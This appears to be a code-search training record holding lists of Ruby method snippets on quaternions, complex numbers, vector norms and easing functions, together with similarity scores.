"def *(q)\n if q.is_a?(Numeric) and q.abs() == 1\n return UnitQuaternion.new(@beta0 * q, *(@beta_s * q))\n elsif q.is_a?(UnitQuaternion)\n beta0, beta_s = quatMult(q)\n return UnitQuaternion.new(beta0, *beta_s)\n else\n return super(q)\n end\n end",
"def contabil\n if @quantia >= 0\n to_s \n else \n \"(\" + to_s[1..-1] + \")\" \n end \n end",
"def to_c\n Complex(int? ? to_i : to_r, 0)\n end",
"def inverse\n result = UnitQuaternion.new\n result.set(@beta0, *(-1*@beta_s))\n return result\n end",
"def to_s\n str = '';\n coefficient_arr_size = coefficient_arr.size\n\n @coefficient_arr.each_with_index do |el, idx|\n sign = el < 0 || idx == 0 ? '' : ' + '\n iks_add = coefficient_arr_size - (idx + 1) > 0 ? \"x^#{coefficient_arr_size - (idx + 1)}\" : ''\n str += \"#{sign}#{el.to_s.gsub('-', ' - ')}#{iks_add}\" if el != 0\n end\n\n str\n end",
"def ease_out_quart(t, b, c, d)\n t = t.to_f\n b = b.to_f\n c = c.to_f\n d = d.to_f\n t /= d\n t -= 1\n -c * (t * t * t * t - 1) + b\n end",
"def eq_of_equinox() \r\n cos( Celes.nut06a(@ajd, 0)[ 1 ] + Celes.obl06(@ajd, 0) ) * Celes.nut06a(@ajd, 0)[ 0 ]\r\n end",
"def to_matrix \n\t\t\tunitq = self.unit\n\t\t\t\n\t\t\t# For the unit quaternion:\n\t\t\t# Matrix = [ 1 - 2y^2 - 2z^2 2xy - 2wz\t\t2xz + 2wy\n\t\t\t#\t\t\t 2xy + 2wz\t\t 1 - 2x^2 - 2z^2\t2yz - 2wx\n\t\t\t#\t\t\t 2xz - 2wy\t\t 2yz + 2wx\t\t1 - 2x^2 - 2y^2 ]\n\t\t\treturn Matrix[\n\t\t\t\t[ 1 - 2 * (unitq.y ** 2 - unitq.z ** 2),\n\t\t\t\t 2 * (unitq.x * unitq.y + unitq.z * unitq.w),\n\t\t\t\t 2 * (unitq.x * unitq.z - unitq.y * unitq.w),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 2 * (unitq.x * unitq.y - unitq.z * unitq.w),\n\t\t\t\t 1 - 2 * (unitq.x ** 2 - unitq.z ** 2),\n\t\t\t\t 2 * (unitq.y * unitq.z + unitq.x * unitq.w),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 2 * (unitq.x * unitq.z + unitq.y * unitq.w),\n\t\t\t\t 2 * (unitq.y * unitq.z - unitq.x * unitq.w),\n\t\t\t\t 1 - 2 * (unitq.x ** 2 - unitq.y ** 2),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 0.0, 0.0, 0.0, 1.0 ],\n\t\t\t]\n\t\tend",
"def delete!(qbo_object, attrs)\n api_post(\"#{qbo_object}?operation=delete\", attrs).body\n end",
"def c2q(cycle)\n \"C#{cycle}\"\n end",
"def conjugate(ppl)\n first_pp = ppl.first_principal_part\n full_conjugation = []\n ppl.each do |ppart|\n next unless @principal_part_num == ppart.part_num\n next if @tense == 'a' && ppart.is_second_aorist? # skip 1st aorist when appropr.\n next if @tense == '2' && ppart.is_first_aorist? # skip 1st aorist when appropr.\n @endings.each do |form_info|\n number, g_case, person_ending, ap = form_info\n form = add_ending(ppart.unaugmented_stem, person_ending, ap)\n form = ppart.is_rough? ? Breathing.rough(form) : Breathing.smooth(form)\n @voices.each do |voice|\n code = \"vp#{g_case}#{number}#{@gender}#{@tense}#{voice}\"\n english_conjugations = EnglishConjugator.conjugate(code, ppl.english_principal_parts)\n full_conjugation << [code, form, ppl.aspirated_accented_first_pp, english_conjugations]\n end\n end\n end\n return full_conjugation\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def qformat\n #\"#{owner_name}#{access}#{@method_name} [#{visibility}]\" # Before multi-obj support.\n \"#{obj_module_name}#{access}#{@method_name} [#{visibility}]\"\n end",
"def test_Complex_InstanceMethods_conj\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conj)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conj)\n\tend",
"def to_b\n return \"Math::cos(#{self.arg.to_b})\"\n end",
"def ease_in_out_quart(t, b, c, d)\n t = t.to_f\n b = b.to_f\n c = c.to_f\n d = d.to_f\n t /= d / 2\n return c / 2 * t * t * t * t + b if t < 1\n t -= 2\n -c / 2 * (t * t * t * t - 2) + b\n end",
"def test_Complex_InstanceMethods_conjugate\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conjugate)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conjugate)\n\tend",
"def to_s\n \"cos(#{@x})\"\n end",
"def obliquity_corr(t)\n\te_0 = mean_ecliptic_obliquity(t)\n\tomega = 125.04 -t*1934.136\n\trad(deg(e_0) + 0.00256*Math.cos(rad(omega)))\nend",
"def simplify\n super\n return @x.x if @x.is_a? CAS::Cos\n return self.simplify_dictionary\n end",
"def getQuestionJunctionObjName\r\n\t\t\treturn \"mfiforce__Question_Junction__c\"\r\n\t\tend",
"def conjugado\n\t\treturn NumCom.new(@r,-@i)\n\tend",
"def quarterName\n qtrName = \"\"\n case self.enclaveQuarter\n when 1\n qtrName = \"First\"\n when 2\n qtrName = \"Second\"\n when 3\n qtrName = \"Third\"\n when 4\n qtrName = \"Fourth\"\n end\n qtrName\n end",
"def to_s\n @string || case\n when @object.nan? then 'NaN'\n when @object.infinite? then @object.to_s[0...-'inity'.length].upcase\n else @object.to_s\n end\n end",
"def to_s\n return \"cos(#{self.arg.to_s})\"\n end",
"def q\n self\n end",
"def getQuestionObjName\r\n\t\t\treturn \"mfiforce__Question__c\"\r\n\t\tend",
"def qv\n end",
"def -( otherQuat )\n\t\t\tself.class.new( @elem[0] - otherQuat[0],\n\t\t\t\t\t\t @elem[1] - otherQuat[1],\n\t\t\t\t\t\t @elem[2] - otherQuat[2],\n\t\t\t\t\t\t @elem[3] - otherQuat[3] )\n\t\tend",
"def to_sparql(**options)\n \"CEIL(#{operands.to_sparql(**options)})\"\n end",
"def inverse!\r\n conjugate!\r\n scale!(1.0/norm)\r\n end",
"def im_conjugate()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ImConjugate::ImConjugateRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def to_s\n return \"acos(#{self.arg.to_s})\"\n end",
"def object_iseq(object_string)\n iseqs = find_iseqs(ISEQS__, object_string)\n # FIXME: do something if there is more than one.\n if iseqs.size == 1\n iseqs[-1]\n elsif meth = method?(object_string)\n meth.iseq\n else\n nil\n end\n rescue\n nil\n end",
"def ease_in_quart(t, b, c, d)\n t = t.to_f\n b = b.to_f\n c = c.to_f\n d = d.to_f\n t /= d\n c * t * t * t * t + b\n end",
"def term_to_str(coeff, exp)\n term_str = \"\"\n coeff = coeff.abs\n term_str = coeff.to_s unless coeff == 1 && exp > 0\n term_str += \"X\" if exp > 0\n term_str += \"^\" + exp.to_s if exp > 1\n term_str\n end",
"def to_s\n \"acos(#{@x})\"\n end",
"def to_s ; @qname || \"#<#{self.class}:#{self.object_id}>\" ; end",
"def translate_by(g)\n a = @coeff[0]\n b = @coeff[1]\n c = @coeff[2]\n d = @coeff[3]\n\n h = g.proj_inv\n\n at = (a * h[0, 0].abs**2 + 2 * (b * h[0, 0] * h[1, 0].conjugate).real +\n d * h[1, 0].abs**2).real\n bt = a * h[0, 0] * h[0, 1].conjugate + b * h[0, 0] * h[1, 1].conjugate +\n c * h[0, 1].conjugate * h[1, 0] + d * h[1, 0] * h[1, 1].conjugate\n ct = bt.conjugate\n dt = (a * h[0, 1].abs**2 + 2 * (b * h[0, 1] * h[1, 1].conjugate).real +\n d * h[1, 1].abs**2).real\n\n puts 'Warning! Nonzeror interesect' if at.zero? && (dt != 0)\n Circle.new(coeff: [at, bt, ct, dt])\n end",
"def encoded_string(obj)\n obj.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def object_origin(obj)\n return obj.oy\n end",
"def object_origin(obj)\n return obj.oy\n end",
"def cos(z)\n if Complex.generic?(z)\n cos!(z)\n else\n Complex(cos!(z.real)*cosh!(z.image),\n\t -sin!(z.real)*sinh!(z.image))\n end\n end",
"def to_code\n \"Math::cos(#{@x.to_code})\"\n end",
"def scalar(c)\n p_r = @r*c\n p_i = @i*c\n c3 = Complejo.new(p_r, p_i)\n return c3.to_s\n end",
"def imaginary_compass\n {\n 'W' => Complex(0, -1),\n 'E' => Complex(0, 1),\n 'N' => Complex(1, 0),\n 'S' => Complex(-1, 0)\n }\nend",
"def ease_out_quad(t, b, c, d)\n t = t.to_f\n b = b.to_f\n c = c.to_f\n d = d.to_f\n t /= d\n -c * t * (t - 2) + b\n end",
"def to_b\n return \"Math::acos(#{self.arg.to_b})\"\n end",
"def simplify\n super\n return @x.x if @x.is_a? CAS::Acos\n return self.simplify_dictionary\n end",
"def ** (other)\n if other == 0\n return Complex(1)\n end\n if other.kind_of?(Complex)\n r, theta = polar\n ore = other.real\n oim = other.image\n nr = Math.exp!(ore*Math.log!(r) - oim * theta)\n ntheta = theta*ore + oim*Math.log!(r)\n Complex.polar(nr, ntheta)\n elsif other.kind_of?(Integer)\n if other > 0\n\tx = self\n\tz = x\n\tn = other - 1\n\twhile n != 0\n\t while (div, mod = n.divmod(2)\n\t\t mod == 0)\n\t x = Complex(x.real*x.real - x.image*x.image, 2*x.real*x.image)\n\t n = div\n\t end\n\t z *= x\n\t n -= 1\n\tend\n\tz\n else\n\tif defined? Rational\n\t (Rational(1) / self) ** -other\n\telse\n\t self ** Float(other)\n\tend\n end\n elsif Complex.generic?(other)\n r, theta = polar\n Complex.polar(r**other, theta*other)\n else\n x, y = other.coerce(self)\n x**y\n end\n end",
"def cgamma(z)\n if z.real < 0.5\n PI / (CMath.sin(PI * z) * cgamma(1.0 - z))\n else\n z -= 1.0\n x = (1...QLEN).inject(Q[0]) { |s, i| s + Q[i] / (z + i) }\n t = z + QLEN_G + 0.5\n SQRT_2PI * (t**(z + 0.5)) * CMath.exp(-t) * x\n end\nend",
"def encrypt(object)\n result = ''\n if cipher.respond_to?(:iv=) and @iv == nil\n iv = OpenSSL::Random.random_bytes(cipher.iv_len)\n cipher.iv = iv\n result << Ripple::Contrib::VERSION << iv\n end\n\n if cipher.respond_to?(:public_encrypt)\n result << cipher.public_encrypt(object)\n else\n cipher_setup :encrypt\n result << cipher.update(object) << cipher.final\n cipher.reset\n end\n return serialize_base64(result)\n end",
"def test_Complex_InstanceMethods_quo\n\t\tc1 = Complex(1, 2)\n\t\tc2 = Complex(2, 2)\n\t\tassert_equal(Complex(\"3/4+1/4i\"), c1/c2)\n\t\tassert_equal(Complex(\"3/4+1/4i\"), c1.quo(c2))\n\tend",
"def invert_cubie_cube(c)\n EDGES.length.times do |i|\n c.edge_permutation[edge_permutation[i]] = i\n end\n EDGES.length.times do |i|\n c.edge_orientation[edge_orientation[i]] = i\n end\n CORNERS.length.times do |i|\n c.corner_permutation[corner_permutation[i]] = i\n end\n CORNERS.length.times do |i|\n ori = corner_orientation[c.corner_permutation[i]]\n if ori >= 3 # mirrored cube case\n c.corner_orientation[i] = ori\n else # standard case\n c.corner_orientation[i] = -ori\n c.corner_orientation[i] += 3 if c.corner_orientation[i] < 0\n end\n end\n end",
"def to_s\n \"s3 bucket: #{@bucket_name}\"\n end",
"def getCurrencyObjName\r\n\t\t\treturn \"mfiforce__Currency__c\"\r\n\t\tend",
"def curatorCoef _obj, _args\n \"_obj curatorCoef _args;\" \n end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def to_q\n 1+(self/100.0)\n end",
"def multiply_quat!(rhs)\n multiply_quat rhs, self\n end",
"def qvaluestring\n\t\t# 3 digit precision, trim excess zeros\n\t\treturn sprintf( \"q=%0.3f\", self.qvalue ).gsub(/0{1,2}$/, '')\n\tend",
"def to_s\n [(self.v || self.d)].pack(\"C\")\n end",
"def object_iseq(object_string)\n iseqs = find_iseqs(ISEQS__, object_string)\n # FIXME: do something if there is more than one.\n if iseqs.size == 1\n iseqs[-1]\n elsif debug_eval_no_errmsg(\"#{object_string}.respond_to?('iseq')\")\n debug_eval_no_errmsg(\"#{object_string}.iseq\")\n else\n parts = object_string.split(/[.]/)\n string = \n if parts.size < 2 \n \"method(\\\"#{object_string}\\\").iseq\"\n else\n parts[0..-2].join('.')+\".method(\\\"#{parts[-1]}\\\").iseq\"\n end\n debug_eval_no_errmsg(string)\n end\n rescue\n nil\n end",
"def inspect() \"~#{@obj.inspect}~\" ; end",
"def name () to_s unless quarter.blank? || year.blank? end",
"def quo(arg0)\n end",
"def say3D _obj, _args\n \"_obj say3D _args;\" \n end",
"def *(obj)\n if obj.kind_of?(AngleAxis)\n concatenate(obj)\n else\n transform(obj)\n end\n end",
"def cubed\n Quantity.new(@value, @unit * @unit * @unit)\n end",
"def buildObjClause(object, tableName)\n case object\n # when REGEXTerm\n # when Array\n when Graph\n [\"#{tableName}.object=?\", self.normalizeTerm(object.identifier)]\n else\n [\"#{tableName}.object=?\", object] if object\n end\n end",
"def ease_out_circ(t, b, c, d)\n t = t.to_f\n b = b.to_f\n c = c.to_f\n d = d.to_f\n t /= d\n t -= 1\n c * Math.sqrt(1 - t * t) + b\n end",
"def to_s\n \"#{@imc}, #{@resul}, #{@rcc}\"\n end",
"def to_cubic_path\n path = to_bezier_path.nodes\n cubic_path = []\n quadratic_last = false\n path.each_index do |i|\n n = path[i]\n if quadratic_last\n n0 = path[i - 2]\n q = path[i - 1]\n\n # CP1 = QP0 + 2/3 * (QP1-QP0)\n # CP2 = QP2 + 2/3 * (QP1-QP2)\n third = 2 / 3.0\n cubic_path << N.c(\n n0.x + third * (q.x - n0.x),\n n0.y + third * (q.y - n0.y)\n )\n cubic_path << N.c(\n n.x + third * (q.x - n.x),\n n.y + third * (q.y - n.y)\n )\n cubic_path << n\n\n quadratic_last = false\n elsif n.type == :quadratic\n quadratic_last = true\n else\n cubic_path << n\n end\n end\n Path.new(*cubic_path, closed: @closed, **@options)\n end",
"def to_s\n \"#{name} orbital: x^#{ang_moment.l} y^#{ang_moment.m} z^#{ang_moment.n}, #{basis_functions.length} function(s):\\n\" + \n basis_functions.map{|function| \"\\t\\t\" + function.to_s}.join(\",\\n\")\n end",
"def obl_qs k, p={}; alter_qs :obl, k, false, p; end",
"def quita_comas\n s = self.to_s\n \n s.gsub!(/,/, \"\")\n \n s = s.to_f\n \n return s\n end",
"def to_qres()\n return QRES::StringResult.new(self.VAR_NAME())\n end",
"def to_s\n return \"{Deleted embedded #{@type} object which had ZICCLOUDSYNCINGOBJECTS.ZIDENTIFIER: #{uuid}}\" \n end",
"def encode(object)\n Resque.encode(object)\n end"
] |
[
"0.71933794",
"0.5804909",
"0.5800573",
"0.5717437",
"0.5548184",
"0.55300075",
"0.5492936",
"0.5445048",
"0.54141617",
"0.5387543",
"0.53554666",
"0.53186464",
"0.52169544",
"0.519719",
"0.519719",
"0.5138542",
"0.5034089",
"0.48333374",
"0.4812672",
"0.47285125",
"0.4718216",
"0.46855608",
"0.46446583",
"0.464073",
"0.46250525",
"0.4558509",
"0.45458722",
"0.45325598",
"0.45162356",
"0.45124385",
"0.44909215",
"0.44891903",
"0.44736335",
"0.44721976",
"0.44469",
"0.44452578",
"0.44210997",
"0.44190076",
"0.43759054",
"0.43750358",
"0.43606636",
"0.43447936",
"0.4344169",
"0.43393832",
"0.43372092",
"0.4334737",
"0.43281892",
"0.43270186",
"0.4322938",
"0.43103984",
"0.42532653",
"0.42474163",
"0.42452598",
"0.42385122",
"0.4235829",
"0.42334566",
"0.42307132",
"0.42289624",
"0.42242444",
"0.42134166",
"0.4211504",
"0.42024663",
"0.42024335",
"0.41959158",
"0.41817966",
"0.41768104",
"0.41627234",
"0.41593704",
"0.41570526",
"0.41515478",
"0.41480935",
"0.4147268",
"0.41399884",
"0.41361612",
"0.41339847",
"0.41280264",
"0.41259024",
"0.4114223",
"0.4110284",
"0.41053614",
"0.41031203",
"0.41012803",
"0.4096515",
"0.40940562",
"0.40921023",
"0.40804425",
"0.40718114",
"0.40647578",
"0.40536758",
"0.40494892",
"0.40407884",
"0.4039864",
"0.40285844",
"0.4028342",
"0.402527",
"0.40192905",
"0.40142527",
"0.4012717",
"0.40124142",
"0.40087828"
] |
0.713598
|
1
|
Returns the norm of this Quaternion.
|
def norm
Math.sqrt((@a**2) + (@b**2) + (@c**2) + (@d**2))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def norm\r\n (@real * @real) + @axis.modulus\r\n end",
"def norm\n m = mag\n @x /= m\n @y /= m\n self\n end",
"def norm\n Math::sqrt(data.values.inject(0) { |m,v| m+v**2})\n end",
"def normalize\n self / self.norm\n end",
"def normalize\n f = 1.0 / length\n Normal3.new(@x * f, @y * f, @z * f)\n end",
"def norm positions\n\t\tproduct = scalar_product( positions, positions )\n\t\treturn product > 0.0 ? Math.sqrt( product ) : 0.0\n\tend",
"def norm(p = 2)\n Norm.sqnorm(self, p) ** (Float(1)/p)\n end",
"def normalize\n mag = self.magnitude\n Vector.new @x/mag, @y/mag, @z/mag\n end",
"def reciprocalize\n Unit.unity / self\n end",
"def norm(p=2.0)\n if p.to_f == 2.0\n Blas::nrm2(@storage)\n else\n case p.infinite?\n when 1\n self[amax]\n when -1\n abs.min\n else\n map{|i| i**p}.asum**(1.0/p)\n end\n end\n end",
"def norm w\n 0.5 * Math.sqrt(w.keys.inject(0.0) {|u,k| u += w[k] ** 2.0})\nend",
"def abs\r\n Math.sqrt(norm)\r\n end",
"def unit \n\t\t\tunitq = self.dup\n\t\t\tmagnitude = self.abs\n\t\t\tunitq[0] /= magnitude\n\t\t\tunitq[1] /= magnitude\n\t\t\tunitq[2] /= magnitude\n\t\t\tunitq[3] /= magnitude\n\t\t\treturn unitq\n\t\tend",
"def magnitude()\n _nrm2()\n end",
"def normal___x(z); 1.0 - normaldist(z); end",
"def magnitude\n Math.sqrt self.dot self\n end",
"def magnitude\n\t\tt = 0.0\n\t\tsize.times do |k|\n\t\t\tt += __get(k).abs2\n\t\tend\n\t\treturn Math.sqrt(t)\n\tend",
"def normaldist(z)\r\n p_nor(z)\r\n end",
"def calculate_norm_and_orientation\n x, y = @components.values\n @norm = Math.sqrt( x**2 + y**2 )\n @orientation = calculate_orientation\n end",
"def normalize\n divide(magnitude)\n end",
"def to_n\n Normal3.new(@x, @y, @z)\n end",
"def pnorm(qn)\r\n b = [1.570796288, 0.03706987906, -0.8364353589e-3,\r\n -0.2250947176e-3, 0.6841218299e-5, 0.5824238515e-5,\r\n -0.104527497e-5, 0.8360937017e-7, -0.3231081277e-8,\r\n 0.3657763036e-10, 0.6936233982e-12]\r\n \r\n if(qn < 0.0 || 1.0 < qn)\r\n $stderr.printf(\"Error : qn <= 0 or qn >= 1 in pnorm()!\\n\")\r\n return 0.0;\r\n end\r\n qn == 0.5 and return 0.0\r\n \r\n w1 = qn\r\n qn > 0.5 and w1 = 1.0 - w1\r\n w3 = -Math.log(4.0 * w1 * (1.0 - w1))\r\n w1 = b[0]\r\n 1.upto 10 do |i|\r\n w1 += b[i] * w3**i;\r\n end\r\n qn > 0.5 and return Math.sqrt(w1 * w3)\r\n -Math.sqrt(w1 * w3)\r\n end",
"def normal\n attributes.normal\n end",
"def fro_matrix_norm\n #float64 has to be used in any case, since nrm2 will not yield correct result for float32\n self_cast = self.cast(:dtype => :float64)\n\n column_vector = self_cast.reshape([self.size, 1])\n\n return column_vector.nrm2\n end",
"def mag\n\t\t\tMath.sqrt( self.sqr )\n\t\tend",
"def magnitude\n Math.sqrt(@x ** 2 + @y ** 2 + @z ** 2)\n end",
"def normal(p)\n return (p - @centre).unit\n end",
"def normal\n u = (a.subtract b).normalize\n v = (c.subtract b).normalize\n u.cross v\n end",
"def norm (i)\n l = self.length\n case i\n when Range then ((i.first % l)..(i.last % l))\n when Array then [ i.first % l ]\n else i % l\n end\n end",
"def to_val_norm(negative_enabled = false, z = 1.0)\n if negative_enabled\n num = self[1..-1]\n ((-1) ** self[0]) * num.to_val_norm(false, z) # Il primo valore viene usato per stabilire il segno\n else\n z * self.to_val / (2 ** self.size - 1.0) \n end\n end",
"def sqrt\n Double.new(Math.sqrt(self.to_f))\n rescue Math::DomainError\n Double.new(::Float::NAN)\n end",
"def normal_vector\n return @nv unless @nv.nil? \n\n nv = self.area_vector\n length = nv.abs\n\n nvv=nv.map { |e| e/length }\n def nvv.to_s\n \"NV:=(#{self[0]}, #{self[1]}, #{self[2]})\"\n end\n @nv = nvv\n end",
"def norm(v)\n len = Math.sqrt(v[0]**2 + v[1]**2)\n [v[0] / len, v[1] / len] \nend",
"def normalize\n f = 1.0 / length\n Vector2.new(@x * f, @y * f)\n end",
"def normalx__x(z); 2.0 - normaldist(z) * 2.0; end",
"def normalize!\n mag = magnitude\n return self if mag == 0\n self.x, self.y, self.z = self.x / mag, self.y / mag, self.z / mag\n self\n end",
"def mag \n\t\t\tMath::sqrt(self.sqr)\n\t\tend",
"def versor\n self / norm\n end",
"def normal__X_(z); normaldist(z) - 0.5; end",
"def unit_vector\n len = self.r\n raise Vector::ZeroOperationError if (len == 0.0)\n self * (1.0/len)\n # Mageo::Vector3D.new(@x*(1.0/len), @y*(1.0/len), @z*(1.0/len))\n end",
"def getNorm(wv)\n sqSum = 0 \n wv.keys.each do |key|\n sqSum += wv[key]**2.0 \n end \n Math.sqrt(sqSum)\n end",
"def rms\n Math.sqrt(self.square_sum/self.length)\n end",
"def magnitude; Math.sqrt x*x + y*y + z*z; end",
"def normalize\n normalization_factor = norm_2(self)\n return self if normalization_factor.zero?\n\n self.scale (1.0 / normalization_factor.to_f)\n end",
"def unit_vector\n\t\tlen = self.r\n\t\traise Vector::ZeroOperation if (len == 0)\n\t\tself * (1/len)\n\t\t# Vector3D.new(@x*(1.0/len), @y*(1.0/len), @z*(1.0/len))\n\tend",
"def norm(a, ord=nil, axis:nil, keepdims:false)\n a = Numo::NArray.asarray(a)\n\n # check axis\n if axis\n case axis\n when Integer\n axis = [axis]\n when Array\n if axis.size < 1 || axis.size > 2\n raise ArgmentError, \"axis option should be 1- or 2-element array\"\n end\n else\n raise ArgumentError, \"invalid option for axis: #{axis}\"\n end\n # swap axes\n if a.ndim > 1\n idx = (0...a.ndim).to_a\n tmp = []\n axis.each do |i|\n x = idx[i]\n if x.nil?\n raise ArgmentError, \"axis contains same dimension\"\n end\n tmp << x\n idx[i] = nil\n end\n idx.compact!\n idx.concat(tmp)\n a = a.transpose(*idx)\n end\n else\n case a.ndim\n when 0\n raise ArgumentError, \"zero-dimensional array\"\n when 1\n axis = [-1]\n else\n axis = [-2,-1]\n end\n end\n\n # calculate norm\n case axis.size\n\n when 1 # vector\n k = keepdims\n ord ||= 2 # default\n case ord.to_s\n when \"0\"\n r = a.class.cast(a.ne(0)).sum(axis:-1, keepdims:k)\n when \"1\"\n r = a.abs.sum(axis:-1, keepdims:k)\n when \"2\"\n r = Blas.call(:nrm2, a, keepdims:k)\n when /^-?\\d+$/\n o = ord.to_i\n r = (a.abs**o).sum(axis:-1, keepdims:k)**(1.0/o)\n when /^inf(inity)?$/i\n r = a.abs.max(axis:-1, keepdims:k)\n when /^-inf(inity)?$/i\n r = a.abs.min(axis:-1, keepdims:k)\n else\n raise ArgumentError, \"ord (#{ord}) is invalid for vector norm\"\n end\n\n when 2 # matrix\n if keepdims\n fixdims = [true] * a.ndim\n axis.each do |i|\n if i < -a.ndim || i >= a.ndim\n raise ArgmentError, \"axis (%d) is out of range\", i\n end\n fixdims[i] = :new\n end\n end\n ord ||= \"fro\" # default\n case ord.to_s\n when \"1\"\n r, = Lapack.call(:lange, a, '1')\n when \"-1\"\n r = a.abs.sum(axis:-2).min(axis:-1)\n when \"2\"\n svd, = Lapack.call(:gesvd, a, jobu:'N', jobvt:'N')\n r = svd.max(axis:-1)\n when \"-2\"\n svd, = Lapack.call(:gesvd, a, jobu:'N', jobvt:'N')\n r = svd.min(axis:-1)\n when /^f(ro)?$/i\n r, = Lapack.call(:lange, a, 'F')\n when /^inf(inity)?$/i\n r, = Lapack.call(:lange, a, 'I')\n when /^-inf(inity)?$/i\n r = a.abs.sum(axis:-1).min(axis:-1)\n else\n raise ArgumentError, \"ord (#{ord}) is invalid for matrix norm\"\n end\n if keepdims\n if NArray===r\n r = r[*fixdims]\n else\n r = a.class.new(1,1).store(r)\n end\n end\n end\n return r\n end",
"def normal?\n magnitude == 1\n end",
"def estimate_normal(\n p # vec3\n)\n Vec3.new(\n scene_sdf(Vec3.new(p.x + $EPSILON, p.y, p.z)) - scene_sdf(Vec3.new(p.x - $EPSILON, p.y, p.z)),\n scene_sdf(Vec3.new(p.x, p.y + $EPSILON, p.z)) - scene_sdf(Vec3.new(p.x, p.y - $EPSILON, p.z)),\n scene_sdf(Vec3.new(p.x, p.y, p.z + $EPSILON)) - scene_sdf(Vec3.new(p.x, p.y, p.z - $EPSILON))\n ).normalize\nend",
"def normalize!\n\t\t\tmagnitude = self.mag\n\t\t\t@elem.collect! {|elem| elem / magnitude}\n\t\t\treturn self\n\t\tend",
"def length\n self.vector.magnitude\n end",
"def normalized\n @value\n end",
"def angle_rads \n\t\t\t2.0 * Math.atan2( self.vec.mag, self.scalar ) \n\t\tend",
"def inverse\r\n quaternion.inverse!\r\n end",
"def norm_2(other)\n dot = dot(other)\n Math::sqrt(dot)\n end",
"def length\n Math.sqrt(@x * @x + @y * @y + @z * @z)\n end",
"def direction\n self.vector.normalize\n end",
"def r\n Math.sqrt(@elements.values.inject(0) { |v, e| v + ( e * e ) } )\n end",
"def phi_norm(n)\n primes = n.prime_division.map(&:first)\n primes.map { |p| 1.0 - 1.0 / p }.inject(:*)\nend",
"def nrm2 incx=1, n=nil\n self.twoDMat.getFrobeniusNorm()\n end",
"def div(rhs)\n f = 1.0 / rhs\n Normal3.new(@x * f, @y * f, @z * f)\n end",
"def pnormaldist(y)\r\n pnorm(y)\r\n end",
"def cross_normal(other)\n cross(other).normalize\n end",
"def var\n raise 'Length must be greater than 1' if length < 2\n mu = mean\n map { |v| (v**2 - mu**2) }.sum.to_f / (length - 1)\n end",
"def normalize!; length = 1.0; self; end",
"def reciprocalize\n Dimensions.new(self.to_hash).reciprocalize!\n end",
"def exp\n # e^(r+uv)=exp(r)(cos(v)+u*sin(v))\n if is_real?; return Quaternion(Math::exp(@re)); end\n vec=self.vector; v=vec.abs; u = vec/v;\n Math::exp(@re)*(Math::cos(v)+u*Math::sin(v))\n end",
"def normalxXX_(z); normaldist(z); end",
"def normalize(x)\n if x.ndim == 2\n s = Numo::SFloat::Math.sqrt((x**2).sum(axis: 1))\n x / s.reshape(s.shape[0], 1)\n elsif x.ndim == 1\n s = Numo::SFloat::Math.sqrt((x**2).sum)\n x / s\n end\nend",
"def std_var\n first_pass = @raw.reduce(0) do |acc, elem|\n ((elem.score.to_f - mean)**2) + acc\n end\n Math.sqrt(first_pass / (@raw.size - 1))\n end",
"def axis \n\t\t\tvlen = self.vec.mag\n\t\t\tif vlen > 0.0 \n\t\t\t\treturn self.vec/vlen\n\t\t\telse\n\t\t\t\treturn ODE::Vector::new( 0.0, 0.0, 0.0 )\n\t\t\tend\n\t\tend",
"def exp\n\t\t\tmag = self.vec.mag\n\t\t\tMath::exp( self.scalar ) * Quaternion::sv2q( cos(mag), sin(mag) * self.vec/mag )\n\t\tend",
"def reflection\n i = self.copy\n n = self.normalized\n r = ( 2 * ((i*(-1.0)).dot(n)) * (n) ) + ( n )\n r = Vector.new(r.a)\n end",
"def expectation\n # since we are using row standardized weights, the expectation\n # will just be -1/(n-1) for all items. Otherwise, it would be\n # a vector where the sum of the weights for each row is the numerator\n # in the equation.\n -1.0 / (@weights.n - 1)\n end",
"def r\n Math::sqrt(r2)\n end",
"def magnitude(vector)\n\n Math::sqrt((vector.x**2) + (vector.y**2) + (vector.z**2))\n end",
"def mag\n Math.sqrt(@x*@x + @y*@y)\n end",
"def reciprocal\n nil\n end",
"def reciprocal\n nil\n end",
"def inverse\n result = UnitQuaternion.new\n result.set(@beta0, *(-1*@beta_s))\n return result\n end",
"def standard_deviation\n return Math.sqrt(self.variance / (self.length - 1))\n end",
"def udot( vector )\n unit.dot( vector.unit )\n end",
"def sqr\n\t\t\tself.dot( self )\n\t\tend",
"def normalize!\n\t\t\tmag = self.mag\n\t\t\t@elements = @elements.collect {|elem| elem / mag }\n\t\t\treturn self\n\t\tend",
"def reciprocal\n\t\tRacional.new(denom, num)\n\tend",
"def to_s\n return \"sqrt(#{self.arg.to_s})\"\n end",
"def length\n if z\n Math.sqrt(x * x + y * y + z * z)\n elsif x && y\n Math.sqrt(x * x + y * y)\n else\n nil\n end\n end",
"def norm(count)\n (count * ceil) / words.max_count\n end",
"def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end",
"def magnitude\n Math.hypot( @x, @y )\n end",
"def normalized!\n self\n end",
"def normal_units_uri\n UrisAreEolTerms.new(self).uri(:normal_units_uri)\n end",
"def to_s\r\n \"Quaternion: axis: x #{axis.x} y #{axis.y} z #{axis.z} real #{real}\"\r\n end",
"def get_rng \n z = Vector.elements(@mu.collect{ @stdnorm.rng })\n (@mu + @a * z).to_a\n end",
"def normal(mean: 1, standard_deviation: 1)\n theta = 2 * Math::PI * rand\n rho = Math.sqrt(-2 * Math.log(1 - rand))\n scale = standard_deviation * rho\n mean + scale * Math.cos(theta)\n end",
"def get_standard_deviation\n return Math.sqrt(get_variance)\n end",
"def get_standard_deviation\n return Math.sqrt(get_variance)\n end",
"def get_standard_deviation\n return Math.sqrt(get_variance)\n end",
"def normalized; end",
"def stddev()\n return Math.sqrt(self.var())\n end",
"def normalized?\n !!@normalized\n end"
